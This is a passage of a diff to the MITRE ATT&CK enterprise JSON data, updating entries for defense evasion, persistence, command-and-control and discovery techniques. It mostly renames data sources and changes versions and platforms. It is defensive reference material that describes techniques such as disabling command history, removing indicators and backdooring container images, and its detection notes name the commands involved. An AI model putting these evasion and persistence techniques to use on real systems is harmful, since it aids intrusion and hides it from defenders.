"1.1" }, { "external_references": [ @@ -15207,7 +16199,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-10-16T18:25:12.727Z", + "modified": "2021-04-24T13:59:12.787Z", "created": "2020-02-21T20:56:06.498Z", "x_mitre_contributors": [ "Vikas Singh, Sophos", @@ -15224,12 +16216,8 @@ ], "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. ", "x_mitre_data_sources": [ - "PowerShell logs", - "Process command-line parameters", - "Environment variable", - "File monitoring", - "Authentication logs", - "Process monitoring" + "Sensor Health: Host Status", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -15259,29 +16247,28 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-10-19T16:31:35.249Z", + "modified": "2021-04-24T13:59:13.144Z", "created": "2020-02-21T20:22:13.470Z", "x_mitre_platforms": [ - "Linux", "Windows", + "Office 365", + "IaaS", + "Linux", "macOS", - "AWS", - "GCP", - "Azure" + "Containers" ], "x_mitre_data_sources": [ - "GCP audit logs", - "Azure activity logs", - "AWS CloudTrail logs", - "Anti-virus", - "Services", - "API monitoring", - "Environment variable", - "Authentication logs", - "File monitoring", - "Process command-line parameters", - "Process monitoring", - "Windows Registry" + "Process: Process Termination", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Deletion", + "Command: Command Execution", + "Service: Service Metadata", + "Sensor Health: Host Status", + "Script: Script Execution", + "Firewall: Firewall Disable", + "Firewall: Firewall Rule Modification", + "Cloud Service: Cloud Service Modification", + "Cloud Service: Cloud Service Disable" ], "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.", "x_mitre_defense_bypassed": [ @@ -15299,7 +16286,7 @@ "User" ], "x_mitre_is_subtechnique": false, - "x_mitre_version": "1.0" + "x_mitre_version": "1.1" }, { "external_references": [ @@ -15317,19 +16304,14 @@ "source_name": "Rhino Labs Cloud Backdoor September 2019", "url": "https://github.com/RhinoSecurityLabs/ccat", "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019." - }, - { - "source_name": "ATT Cybersecurity Cryptocurrency Attacks on Cloud", - "url": "https://www.alienvault.com/blogs/labs-research/making-it-rain-cryptocurrency-mining-attacks-in-the-cloud", - "description": "Doman, C. & Hegel, T.. (2019, March 14). Making it Rain - Cryptocurrency Mining Attacks in the Cloud. Retrieved October 3, 2019." } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Implant Container Image", - "description": "Adversaries may implant cloud container images with malicious code to establish persistence. Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud) ", + "name": "Implant Internal Image", + "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", "type": "attack-pattern", "kill_chain_phases": [ @@ -15338,25 +16320,26 @@ "phase_name": "persistence" } ], - "modified": "2020-03-25T22:47:34.137Z", + "modified": "2021-04-12T18:28:27.948Z", "created": "2019-09-04T12:04:03.552Z", "x_mitre_is_subtechnique": false, "x_mitre_data_sources": [ - "File monitoring", - "Asset management" + "Image: Image Creation", + "Image: Image Modification" ], - "x_mitre_detection": "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.", + "x_mitre_detection": "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ", "x_mitre_permissions_required": [ "User" ], - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", "Praetorian" ], "x_mitre_platforms": [ - "GCP", - "Azure", - "AWS" + "IaaS", + "Containers" ] }, { @@ -15436,7 +16419,7 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-07-09T14:43:42.450Z", + "modified": "2021-01-13T15:56:04.897Z", "created": "2020-03-19T19:09:30.329Z", "x_mitre_platforms": [ "Windows", @@ -15447,15 +16430,14 @@ "Rob Smith" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Sensor health and status" + "Windows Registry: Windows Registry Key Modification", + "Sensor Health: Host Status", + "Command: Command Execution" ], "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}", "x_mitre_defense_bypassed": [ - "Host intrusion prevention systems", "Anti-virus", - "Anti-virus" + "Host intrusion prevention systems" ], "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0" @@ -15504,12 +16486,6 @@ "macOS", "Windows" ], - "x_mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Anti-virus", - "Binary file metadata" - ], "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.", "x_mitre_defense_bypassed": [ "Anti-virus", @@ -15524,7 +16500,7 @@ "id": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Indicator Removal on Host", - "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", + "description": "Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.\n\nThese actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "external_references": [ { "source_name": "mitre-attack", @@ -15547,13 +16523,14 @@ "phase_name": "defense-evasion" } ], - "modified": "2020-10-16T18:09:49.074Z", + "modified": "2021-04-24T13:35:09.065Z", "created": "2017-05-31T21:30:55.892Z", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", - "Windows" + "Windows", + "Containers" ], "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.", "x_mitre_defense_bypassed": [ @@ -15562,16 +16539,22 @@ "Anti-virus" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "API monitoring", - "Windows event logs" + "Process: Process Creation", + "File: File Deletion", + "File: File Modification", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Deletion", + "Process: OS API Execution", + "Command: Command Execution", + "Network Traffic: Network Traffic Content", + "User Account: User Account Authentication", + "File: File Metadata" ], "x_mitre_contributors": [ + "Brad Geesaman, @bradgeesaman", "Ed Williams, Trustwave, SpiderLabs" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "created": "2018-04-18T17:59:24.739Z", @@ -15626,10 +16609,8 @@ "Application control by file name or path" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters", - "Windows event logs" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_contributors": [ "Matthew Demaske, Adaptforward" @@ -15676,13 +16657,10 @@ ], "x_mitre_detection": "Monitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "Process command-line parameters", - "File monitoring", - "Packet capture", - "Process use of network", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Process monitoring" + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content", + "File: File Creation" ], "x_mitre_version": "2.0" }, @@ -15734,11 +16712,11 @@ ], "x_mitre_version": "1.0", "x_mitre_data_sources": [ - "Windows Registry", - "Services", - "Windows event logs", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Service: Service Metadata", + "Windows Registry: Windows Registry Key Modification", + "File: File Deletion" ], "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in inhibiting system recovery, such as vssadmin, wbadmin, and bcdedit. The Windows event logs, ex. Event ID 524 indicating a system catalog was deleted, may contain entries associated with suspicious activity.\n\nMonitor the status of services involved in system recovery. Monitor the registry for changes associated with system recovery features (ex: the creation of HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\PreviousVersions\\DisableLocalPage).", "x_mitre_impact_type": [ @@ -15791,17 +16769,12 @@ "John Lambert, Microsoft Threat Intelligence Center" ], "x_mitre_data_sources": [ - "Windows Registry", - "Windows event logs", - "User interface", - "Process command-line parameters", - "Process monitoring", - "PowerShell logs", - "Loaded DLLs", - "Kernel drivers", - "DLL monitoring", - "Binary file metadata", - "API monitoring" + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load", + "Process: OS API Execution", + "Process: Process Creation", + "File: File Modification", + "Process: Process Metadata" ], "x_mitre_detection": "Detection may vary depending on how input is captured but may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`, `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke), monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), and ensuring no unauthorized drivers or kernel modules that could indicate keylogging or API hooking are present.", "x_mitre_permissions_required": [ @@ -15858,6 +16831,47 @@ "modified": "2020-02-12T16:34:06.412Z", "created": "2017-12-14T16:46:06.044Z" }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1608.003", + "url": "https://attack.mitre.org/techniques/T1608/003" + }, + { + "source_name": "DigiCert Install SSL Cert", + "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm", + "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021." + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Install Digital Certificate", + "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", + "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "modified": "2021-04-26T18:43:18.448Z", + "created": "2021-03-17T20:32:13.793Z", + "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_platforms": [ + "PRE" + ] + }, { "id": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", "name": "Install Root Certificate", @@ -15989,8 +17003,10 @@ "Itzik Kotler, SafeBreach" ], "x_mitre_data_sources": [ - "SSL/TLS inspection", - "Digital certificate logs" + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n\n* 18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n* 245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n* 3B1EFD3A66EA28B16697394703A72CA340A05BD5\n* 7F88CD7223F3C813818C994614A89C99FA3B5247\n* 8F43288AD272F3103B6FB1428485EA3014C0BCFE\n* A43489159A520F0D93D032CCAF37E7FE20A8B419\n* BE36A4562FB2EE05DBB3D32323ADF445084ED656\n* CDD4EEAE6000AC7F40C3802C171E30148030C072", "x_mitre_defense_bypassed": [ @@ -16070,8 +17086,8 @@ "Casey Smith" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution" ], "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.", "x_mitre_defense_bypassed": [ @@ -16085,6 +17101,22 @@ "x_mitre_version": "1.0" }, { + "created": "2020-02-12T14:08:48.689Z", + "modified": "2020-03-28T19:34:47.546Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.", + "name": "Inter-Process Communication", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -16092,37 +17124,21 @@ "url": "https://attack.mitre.org/techniques/T1559" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Inter-Process Communication", - "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.", - "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "modified": "2020-03-28T19:34:47.546Z", - "created": "2020-02-12T14:08:48.689Z", - "x_mitre_data_sources": [ - "Process monitoring", - "DLL monitoring", - "File monitoring" + "x_mitre_platforms": [ + "Windows" ], + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.0", + "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.", "x_mitre_permissions_required": [ "Administrator", "User", "SYSTEM" ], - "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": false, - "x_mitre_platforms": [ - "Windows" + "x_mitre_data_sources": [ + "Module: Module Load", + "Process: Process Creation", + "Script: Script Execution" ] }, { @@ -16166,9 +17182,10 @@ ], "x_mitre_detection": "Monitor internal and websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", "x_mitre_data_sources": [ - "Web logs", - "Web application firewall logs", - "Packet capture" + "File: File Modification", + "File: File Creation", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -16177,22 +17194,6 @@ ] }, { - "created": "2020-03-14T23:08:20.244Z", - "modified": "2020-03-15T00:46:26.598Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "type": "attack-pattern", - "id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", - "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", - "name": "Internal Proxy", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], "external_references": [ { "source_name": "mitre-attack", @@ -16210,21 +17211,35 @@ "source_name": "University of Birmingham C2" } ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Internal Proxy", + "description": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", + "id": "attack-pattern--f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "modified": "2020-03-15T00:46:26.598Z", + "created": "2020-03-14T23:08:20.244Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_detection": "Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Content" + ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" - ], - "x_mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Network protocol analysis", - "Netflow/Enclave netflow", - "Packet capture" - ], - "x_mitre_detection": "Analyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0" + ] }, { "id": "attack-pattern--9e7452df-5144-4b6e-b04a-b66dd4016747", @@ -16258,24 +17273,21 @@ "phase_name": "lateral-movement" } ], - "modified": "2020-09-17T18:26:41.796Z", + "modified": "2021-04-14T14:32:14.273Z", "created": "2019-09-04T19:26:12.441Z", "x_mitre_is_subtechnique": false, "x_mitre_data_sources": [ - "SSL/TLS inspection", - "DNS records", - "Anti-virus", - "Web proxy", - "File monitoring", - "Mail server", - "Office 365 trace logs" + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Windows", "macOS", "Linux", "Office 365", - "SaaS" + "SaaS", + "Google Workspace" ], "x_mitre_contributors": [ "Tim MalcomVetter", @@ -16285,7 +17297,47 @@ "x_mitre_permissions_required": [ "User" ], - "x_mitre_version": "1.0" + "x_mitre_version": "1.1" + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1016.001", + "url": "https://attack.mitre.org/techniques/T1016/001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Internet Connection Discovery", + "description": "Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites.\n\nAdversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.", + "id": "attack-pattern--132d5b37-aac5-4378-a8dc-3127b18a73dc", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "modified": "2021-03-25T17:03:26.632Z", + "created": "2021-03-17T15:28:10.689Z", + "x_mitre_version": "1.0", + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to check Internet connectivity.", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ] }, { "created": "2020-02-10T19:49:46.752Z", @@ -16321,15 +17373,22 @@ "Windows" ], "x_mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Binary file metadata" + "File: File Metadata" ], "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0" }, { + "created": "2020-06-23T19:12:24.924Z", + "modified": "2021-04-27T19:21:05.521Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -16355,43 +17414,61 @@ "source_name": "Microsoft Windows Scripts", "url": "https://docs.microsoft.com/scripting/winscript/windows-script-interfaces", "description": "Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved June 23, 2020." + }, + { + "source_name": "Apple About Mac Scripting 2016", + "url": "https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html", + "description": "Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021." + }, + { + "source_name": "SpecterOps JXA 2020", + "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5", + "description": "Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14, 2021." + }, + { + "source_name": "SentinelOne macOS Red Team", + "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/", + "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020." + }, + { + "source_name": "Red Canary Silver Sparrow Feb2021", + "url": "https://redcanary.com/blog/clipping-silver-sparrows-wings/", + "description": "Tony Lambert. (2021, February 18). Clipping Silver Sparrow\u2019s wings: Outing macOS malware before it takes flight. Retrieved April 20, 2021." + }, + { + "source_name": "MDSec macOS JXA and VSCode", + "url": "https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/", + "description": "Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans with VSCode Extensions. Retrieved April 20, 2021." } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "JavaScript/JScript", - "description": "Adversaries may abuse JavaScript and/or JScript for execution. JavaScript (JS) is a platform-agnostic scripting language (compiled just-in-time at 